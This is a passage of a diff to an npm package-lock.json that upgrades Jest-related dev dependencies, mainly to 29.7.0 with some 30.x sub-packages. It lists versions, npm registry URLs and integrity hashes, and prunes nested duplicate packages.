"sha512-aREYa3aku9SSnea4aX6bhKn4bgv3AXkgijoQgbYV3yvbiGt6z+MQ85+6mIhx9DsKW2BuB/cLR/A+tcMThx+KLQ==", + "dev": true, + "requires": { + "@jest/pattern": "30.0.1", + "@jest/schemas": "30.0.5", + "@types/istanbul-lib-coverage": "^2.0.6", + "@types/istanbul-reports": "^3.0.4", + "@types/node": "*", + "@types/yargs": "^17.0.33", + "chalk": "^4.1.2" + } }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "@sinclair/typebox": { + "version": "0.34.38", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.34.38.tgz", + "integrity": "sha512-HpkxMmc2XmZKhvaKIZZThlHmx1L0I/V1hWK1NubtlFnr6ZqdiOpV72TKudZUNQjZNsyDBay72qFEhEvb+bcwcA==", "dev": true }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "@sinonjs/commons": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-3.0.1.tgz", + "integrity": "sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ==", "dev": true, "requires": { - "has-flag": "^4.0.0" + "type-detect": "4.0.8" } - } - } - }, - "@jest/core": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/core/-/core-29.0.1.tgz", - "integrity": "sha512-EcFrXkYh8I1GYHRH9V4TU7jr4P6ckaPqGo/z4AIJjHDZxicjYgWB6fx1xFb5bhEM87eUjCF4FAY5t+RamLWQmA==", - "dev": true, - "requires": { - "@jest/console": "^29.0.1", - "@jest/reporters": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "ansi-escapes": "^4.2.1", - "chalk": "^4.0.0", - "ci-info": "^3.2.0", - "exit": "^0.1.2", - "graceful-fs": "^4.2.9", - "jest-changed-files": "^29.0.0", - "jest-config": "^29.0.1", - "jest-haste-map": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-regex-util": "^29.0.0", - "jest-resolve": "^29.0.1", - "jest-resolve-dependencies": "^29.0.1", - "jest-runner": "^29.0.1", - "jest-runtime": "^29.0.1", - "jest-snapshot": "^29.0.1", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "jest-watcher": "^29.0.1", - "micromatch": "^4.0.4", - "pretty-format": "^29.0.1", - "slash": "^3.0.0", - "strip-ansi": "^6.0.0" - }, - "dependencies": { + }, + "@sinonjs/fake-timers": { + "version": "13.0.5", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz", + "integrity": "sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw==", + "dev": true, + "requires": { + "@sinonjs/commons": "^3.0.1" + } + }, "ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true + }, + "ci-info": { "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.3.0.tgz", + "integrity": "sha512-l+2bNRMiQgcfILUi33labAZYIWlH1kWDp+ecNo5iisRKrbm0xcRyCww71/YU0Fkw0mAFpz9bJayXPjey6vkmaQ==", + "dev": true + }, + "jest-message-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.0.5.tgz", + "integrity": "sha512-NAiDOhsK3V7RU0Aa/HnrQo+E4JlbarbmI3q6Pi4KcxicdtjV82gcIUrejOtczChtVQR4kddu1E1EJlW6EN9IyA==", "dev": true, "requires": { - "color-convert": "^2.0.1" + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.0.5", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "micromatch": "^4.0.8", + "pretty-format": "30.0.5", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" } }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "jest-mock": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.0.5.tgz", + "integrity": "sha512-Od7TyasAAQX/6S+QCbN6vZoWOMwlTtzzGuxJku1GhGanAjz9y+QsQkpScDmETvdc9aSXyJ/Op4rhpMYBWW91wQ==", "dev": true, "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-util": "30.0.5" } }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "jest-util": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-30.0.5.tgz", + "integrity": "sha512-pvyPWssDZR0FlfMxCBoc0tvM8iUEskaRFALUtGQYzVEAqisAztmy+R8LnU14KT4XA0H/a5HMVTXat1jLne010g==", "dev": true, "requires": { - "color-name": "~1.1.4" + "@jest/types": "30.0.5", + "@types/node": "*", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.2" } }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", "dev": true }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "pretty-format": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.0.5.tgz", + "integrity": "sha512-D1tKtYvByrBkFLe2wHJl2bwMJIiT8rW+XA+TiataH79/FszLQMrpGEvzUVkzPau7OCO0Qnrhpe87PqtOAIB8Yw==", "dev": true, "requires": { - "has-flag": "^4.0.0" + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" } + }, + "react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true } } }, - "@jest/environment": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-29.0.1.tgz", - "integrity": "sha512-iLcFfoq2K6DAB+Mc+2VNLzZVmHdwQFeSqvoM/X8SMON6s/+yEi1iuRX3snx/JfwSnvmiMXjSr0lktxNxOcqXYA==", - "dev": true, - "requires": { - "@jest/fake-timers": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "jest-mock": "^29.0.1" - } - }, "@jest/expect": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.0.1.tgz", - "integrity": "sha512-qKB3q52XDV8VUEiqKKLgLrJx7puQ8sYVqIDlul6n7SIXWS97DOK3KqbR2rDDaMtmenRHqEUl2fI+aFzx0oSemA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect/-/expect-29.7.0.tgz", + "integrity": "sha512-8uMeAMycttpva3P1lBHB8VciS9V0XAr3GymPpipdyQXbBcuhkLQOSe8E/p92RyAdToS6ZD1tFkX+CkhoECE0dQ==", "dev": true, "requires": { - "expect": "^29.0.1", - "jest-snapshot": "^29.0.1" + "expect": "^29.7.0", + "jest-snapshot": "^29.7.0" } }, "@jest/expect-utils": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.0.1.tgz", - "integrity": "sha512-Tw5kUUOKmXGQDmQ9TSgTraFFS7HMC1HG/B7y0AN2G2UzjdAXz9BzK2rmNpCSDl7g7y0Gf/VLBm//blonvhtOTQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-29.7.0.tgz", + "integrity": "sha512-GlsNBWiFQFCVi9QVSx7f5AgMeLxe9YCCs5PuP2O2LdjDAA8Jh9eX7lA1Jq/xdXw3Wb3hyvlFNfZIfcRetSzYcA==", "dev": true, "requires": { - "jest-get-type": "^29.0.0" + "jest-get-type": "^29.6.3" } }, "@jest/fake-timers": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.0.1.tgz", - "integrity": "sha512-XZ+kAhLChVQ+KJNa5034p7O1Mz3vtWrelxDcMoxhZkgqmWDaEQAW9qJeutaeCfPvwaEwKYVyKDYfWpcyT8RiMw==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-29.7.0.tgz", + "integrity": "sha512-q4DH1Ha4TTFPdxLsqDXK1d3+ioSL7yL5oCMJZgDYm6i+6CygW5E5xVr/D1HdsGxjt1ZWSfUAs9OxSB/BNelWrQ==", "dev": true, "requires": { - "@jest/types": "^29.0.1", - "@sinonjs/fake-timers": "^9.1.2", + "@jest/types": "^29.6.3", + "@sinonjs/fake-timers": "^10.0.2", "@types/node": "*", - "jest-message-util": "^29.0.1", - "jest-mock": "^29.0.1", - "jest-util": "^29.0.1" + "jest-message-util": "^29.7.0", + "jest-mock": "^29.7.0", + "jest-util": "^29.7.0" } }, "@jest/globals": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.0.1.tgz", - "integrity": "sha512-BtZWrVrKRKNUt7T1H2S8Mz31PN7ItROCmH+V5pn10hJDUfjOCTIUwb0WtLZzm0f1tJ3Uvx+5lVZrF/VTKqNaFg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/globals/-/globals-29.7.0.tgz", + "integrity": "sha512-mpiz3dutLbkW2MNFubUGUEVLkTGiqW6yLVTA+JbP6fI6J5iL9Y0Nlg8k95pcF8ctKwCS7WVxteBs29hhfAotzQ==", + "dev": true, + "requires": { + "@jest/environment": "^29.7.0", + "@jest/expect": "^29.7.0", + "@jest/types": "^29.6.3", + "jest-mock": "^29.7.0" + } + }, + "@jest/pattern": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/@jest/pattern/-/pattern-30.0.1.tgz", + "integrity": "sha512-gWp7NfQW27LaBQz3TITS8L7ZCQ0TLvtmI//4OwlQRx4rnWxcPNIYjxZpDcN4+UlGxgm3jS5QPz8IPTCkb59wZA==", "dev": true, "requires": { - "@jest/environment": "^29.0.1", - "@jest/expect": "^29.0.1", - "@jest/types": "^29.0.1", - "jest-mock": "^29.0.1" + "@types/node": "*", + "jest-regex-util": "30.0.1" + }, + "dependencies": { + "jest-regex-util": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", + "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==", + "dev": true + } } }, "@jest/reporters": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.0.1.tgz", - "integrity": "sha512-dM3L8JmYYOsdeXUUVZClQy67Tz/v1sMo9h4AQv2U+716VLHV0zdA6Hh4FQNAHMhYw/95dbZbPX8Q+TRR7Rw+wA==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/reporters/-/reporters-29.7.0.tgz", + "integrity": "sha512-DApq0KJbJOEzAFYjHADNNxAE3KbhxQB1y5Kplb5Waqw6zVbuWatSnMjE5gs8FUgEPmNsnZA3NCWl9NG0ia04Pg==", "dev": true, "requires": { "@bcoe/v8-coverage": "^0.2.3", - "@jest/console": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@jridgewell/trace-mapping": "^0.3.15", + "@jest/console": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/transform": "^29.7.0", + "@jest/types": "^29.6.3", + "@jridgewell/trace-mapping": "^0.3.18", "@types/node": "*", "chalk": "^4.0.0", "collect-v8-coverage": "^1.0.0", @@ -20544,54 +18011,19 @@ "glob": "^7.1.3", "graceful-fs": "^4.2.9", "istanbul-lib-coverage": "^3.0.0", - "istanbul-lib-instrument": "^5.1.0", + "istanbul-lib-instrument": "^6.0.0", "istanbul-lib-report": "^3.0.0", "istanbul-lib-source-maps": "^4.0.0", "istanbul-reports": "^3.1.3", - "jest-message-util": "^29.0.1", - "jest-util": "^29.0.1", - "jest-worker": "^29.0.1", + "jest-message-util": "^29.7.0", + "jest-util": "^29.7.0", + "jest-worker": "^29.7.0", "slash": "^3.0.0", "string-length": "^4.0.1", "strip-ansi": "^6.0.0", - "terminal-link": "^2.0.0", "v8-to-istanbul": "^9.0.1" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", @@ -20599,12 +18031,13 @@ "dev": true }, "jest-worker": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.0.1.tgz", - "integrity": "sha512-+B/2/8WW7goit7qVezG9vnI1QP3dlmuzi2W0zxazAQQ8dcDIA63dDn6j4pjOGBARha/ZevcwYQtNIzCySbS7fQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", + "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", "dev": true, "requires": { "@types/node": "*", + "jest-util": "^29.7.0", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" }, @@ -20619,209 +18052,105 @@ } } } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } } } }, "@jest/schemas": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.0.0.tgz", - "integrity": "sha512-3Ab5HgYIIAnS0HjqJHQYZS+zXc4tUmTmBH3z83ajI6afXp8X3ZtdLX+nXx+I7LNkJD7uN9LAVhgnjDgZa2z0kA==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", "dev": true, "requires": { - "@sinclair/typebox": "^0.24.1" + "@sinclair/typebox": "^0.27.8" } }, "@jest/source-map": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.0.0.tgz", - "integrity": "sha512-nOr+0EM8GiHf34mq2GcJyz/gYFyLQ2INDhAylrZJ9mMWoW21mLBfZa0BUVPPMxVYrLjeiRe2Z7kWXOGnS0TFhQ==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/source-map/-/source-map-29.6.3.tgz", + "integrity": "sha512-MHjT95QuipcPrpLM+8JMSzFx6eHp5Bm+4XeFDJlwsvVBjmKNiIAvasGK2fxz2WbGRlnvqehFbh07MMa7n3YJnw==", "dev": true, "requires": { - "@jridgewell/trace-mapping": "^0.3.15", + "@jridgewell/trace-mapping": "^0.3.18", "callsites": "^3.0.0", "graceful-fs": "^4.2.9" } }, "@jest/test-result": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.0.1.tgz", - "integrity": "sha512-XCA4whh/igxjBaR/Hg8qwFd/uTsauoD7QAdAYUjV2CSGx0+iunhjoCRRWTwqjQrETRqOJABx6kNfw0+C0vMSgQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/test-result/-/test-result-29.7.0.tgz", + "integrity": "sha512-Fdx+tv6x1zlkJPcWXmMDAG2HBnaR9XPSd5aDWQVsfrZmLVT3lU1cwyxLgRmXR9yrq4NBoEm9BMsfgFzTQAbJYA==", "dev": true, "requires": { - "@jest/console": "^29.0.1", - "@jest/types": "^29.0.1", + "@jest/console": "^29.7.0", + "@jest/types": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "collect-v8-coverage": "^1.0.0" } }, "@jest/test-sequencer": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.0.1.tgz", - "integrity": "sha512-3GhSBMCRcWXGluP2Dw7CLP6mNke/t+EcftF5YjzhX1BJmqcatMbtZVwjuCfZy0TCME1GevXy3qTyV5PLpwIFKQ==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/test-sequencer/-/test-sequencer-29.7.0.tgz", + "integrity": "sha512-GQwJ5WZVrKnOJuiYiAF52UNUJXgTZx1NHjFSEB0qEMmSZKAkdMoIzw/Cj6x6NF4AvV23AUqDpFzQkN/eYCYTxw==", "dev": true, "requires": { - "@jest/test-result": "^29.0.1", + "@jest/test-result": "^29.7.0", "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", + "jest-haste-map": "^29.7.0", "slash": "^3.0.0" } }, "@jest/transform": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.0.1.tgz", - "integrity": "sha512-6UxXtqrPScFdDhoip8ys60dQAIYppQinyR87n9nlasR/ZnFfJohKToqzM29KK4gb9gHRv5oDFChdqZKE0SIhsg==", + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/@jest/transform/-/transform-29.7.0.tgz", + "integrity": "sha512-ok/BTPFzFKVMwO5eOHRrvnBVHdRy9IrsrW1GpMaQ9MCnilNLXQKmAX8s1YXDFaai9xJpac2ySzV0YeRRECr2Vw==", "dev": true, "requires": { "@babel/core": "^7.11.6", - "@jest/types": "^29.0.1", - "@jridgewell/trace-mapping": "^0.3.15", + "@jest/types": "^29.6.3", + "@jridgewell/trace-mapping": "^0.3.18", "babel-plugin-istanbul": "^6.1.1", "chalk": "^4.0.0", - "convert-source-map": "^1.4.0", + "convert-source-map": "^2.0.0", "fast-json-stable-stringify": "^2.1.0", "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", - "jest-regex-util": "^29.0.0", - "jest-util": "^29.0.1", + "jest-haste-map": "^29.7.0", + "jest-regex-util": "^29.6.3", + "jest-util": "^29.7.0", "micromatch": "^4.0.4", "pirates": "^4.0.4", "slash": "^3.0.0", - "write-file-atomic": "^4.0.1" + "write-file-atomic": "^4.0.2" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } } } }, "@jest/types": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.0.1.tgz", - "integrity": "sha512-ft01rxzVsbh9qZPJ6EFgAIj3PT9FCRfBF9Xljo2/33VDOUjLZr0ZJ2oKANqh9S/K0/GERCsHDAQlBwj7RxA+9g==", + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", "dev": true, "requires": { - "@jest/schemas": "^29.0.0", + "@jest/schemas": "^29.6.3", "@types/istanbul-lib-coverage": "^2.0.0", "@types/istanbul-reports": "^3.0.0", "@types/node": "*", "@types/yargs": "^17.0.8", "chalk": "^4.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - } } }, "@jridgewell/gen-mapping": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.2.tgz", - "integrity": "sha512-mh65xKQAzI6iBcFzwv28KVWSmCkdRBWoOh+bYQGW3+6OZvbbN3TqMGo5hqYxQniRcH9F2VZIoJCm4pa3BPDK/A==", + "version": "0.3.12", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.12.tgz", + "integrity": "sha512-OuLGC46TjB5BbN1dH8JULVVZY4WTdkF7tV9Ys6wLL1rubZnCMstOhNHueU5bLCrnRuDhKPDM4g6sw4Bel5Gzqg==", "requires": { - "@jridgewell/set-array": "^1.0.1", - "@jridgewell/sourcemap-codec": "^1.4.10", - "@jridgewell/trace-mapping": "^0.3.9" + "@jridgewell/sourcemap-codec": "^1.5.0", + "@jridgewell/trace-mapping": "^0.3.24" } }, "@jridgewell/resolve-uri": { @@ -20830,151 +18159,251 @@ "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==" }, "@jridgewell/set-array": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", - "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==" + "version": 